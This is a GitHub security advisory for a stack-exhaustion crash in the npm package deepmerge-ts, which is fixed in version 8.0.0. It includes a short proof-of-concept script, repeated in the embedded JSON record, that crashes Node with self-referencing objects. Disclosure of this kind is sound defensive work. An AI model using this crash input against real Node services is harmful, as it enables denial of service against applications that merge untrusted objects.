GHSA-GGR8-5VV4-36MX
Vulnerability from github – Published: 2026-08-17 13:32 – Updated: 2026-08-17 13:32Summary
deepmerge() and deepmergeInto() can be crashed with a crafted recursive object graph. When both merged values contain self-references at the same property path, the library recurses until Node throws RangeError: Maximum call stack size exceeded.
Details
Record merging is implemented recursively. For each enumerable key, the library collects the values from every input object and immediately calls the same merge routine on that property.
There is no visited-object tracking, pair tracking, or cycle detection in that recursion. As a result, if two merged records both point back to themselves through the same key path, the merge logic keeps revisiting the same object pair forever.
This is reachable through the real public API:
deepmerge(...)deepmergeCustom(...)(...)deepmergeInto(target, ...)deepmergeIntoCustom(...)(target, ...)
The issue only occurs when recursive object graphs are supplied. Plain JSON alone does not create this condition.
PoC
import { deepmerge, deepmergeInto } from "deepmerge-ts";
const left = {};
left.self = left;
const right = {};
right.self = right;
try {
deepmerge(left, right);
} catch (error) {
console.log(error.name, error.message);
// Expected: the merge should reject or safely handle recursive input without exhausting the stack.
// Vulnerable behavior: RangeError Maximum call stack size exceeded
}
const target = {};
target.self = target;
const source = {};
source.self = source;
try {
deepmergeInto(target, source);
} catch (error) {
console.log(error.name, error.message);
// Expected: the merge should reject or safely handle recursive input without exhausting the stack.
// Vulnerable behavior: RangeError Maximum call stack size exceeded
}
Impact
Applications that pass attacker-controlled recursive object graphs into these APIs can be forced into a synchronous crash path. In Node.js services, that can terminate request handling for the affected process or trigger repeated worker restarts until the malicious input is blocked.
{
"affected": [
{
"package": {
"ecosystem": "npm",
"name": "deepmerge-ts"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "8.0.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-40345"
],
"database_specific": {
"cwe_ids": [
"CWE-674"
],
"github_reviewed": true,
"github_reviewed_at": "2026-08-17T13:32:13Z",
"nvd_published_at": null,
"severity": "HIGH"
},
"details": "### Summary\n\n`deepmerge()` and `deepmergeInto()` can be crashed with a crafted recursive object graph. When both merged values contain self-references at the same property path, the library recurses until Node throws `RangeError: Maximum call stack size exceeded`.\n\n### Details\n\nRecord merging is implemented recursively. For each enumerable key, the library collects the values from every input object and immediately calls the same merge routine on that property.\n\nThere is no visited-object tracking, pair tracking, or cycle detection in that recursion. As a result, if two merged records both point back to themselves through the same key path, the merge logic keeps revisiting the same object pair forever.\n\nThis is reachable through the real public API:\n\n* `deepmerge(...)`\n* `deepmergeCustom(...)(...)`\n* `deepmergeInto(target, ...)`\n* `deepmergeIntoCustom(...)(target, ...)`\n\nThe issue only occurs when recursive object graphs are supplied. Plain JSON alone does not create this condition.\n\n### PoC\n\n```js\nimport { deepmerge, deepmergeInto } from \"deepmerge-ts\";\n\nconst left = {};\nleft.self = left;\n\nconst right = {};\nright.self = right;\n\ntry {\n deepmerge(left, right);\n} catch (error) {\n console.log(error.name, error.message);\n // Expected: the merge should reject or safely handle recursive input without exhausting the stack.\n // Vulnerable behavior: RangeError Maximum call stack size exceeded\n}\n\nconst target = {};\ntarget.self = target;\n\nconst source = {};\nsource.self = source;\n\ntry {\n deepmergeInto(target, source);\n} catch (error) {\n console.log(error.name, error.message);\n // Expected: the merge should reject or safely handle recursive input without exhausting the stack.\n // Vulnerable behavior: RangeError Maximum call stack size exceeded\n}\n```\n\n### Impact\n\nApplications that pass attacker-controlled recursive object graphs into these APIs can be forced into a synchronous crash path. In Node.js services, that can terminate request handling for the affected process or trigger repeated worker restarts until the malicious input is blocked.",
"id": "GHSA-ggr8-5vv4-36mx",
"modified": "2026-08-17T13:32:13Z",
"published": "2026-08-17T13:32:13Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/RebeccaStevens/deepmerge-ts/security/advisories/GHSA-ggr8-5vv4-36mx"
},
{
"type": "PACKAGE",
"url": "https://github.com/RebeccaStevens/deepmerge-ts"
},
{
"type": "WEB",
"url": "https://github.com/RebeccaStevens/deepmerge-ts/releases/tag/v8.0.0"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"type": "CVSS_V4"
}
],
"summary": "DeepmergeTS has stack exhaustion when merging recursive object graphs"
}
Sightings
| Author | Source | Type | Date | Other |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.
The approach is described in our paper Mapping CVEs to MITRE ATT&CK Techniques: A Curated Gold-Set Classifier and the Limits of LLM-Assisted Label Expansion.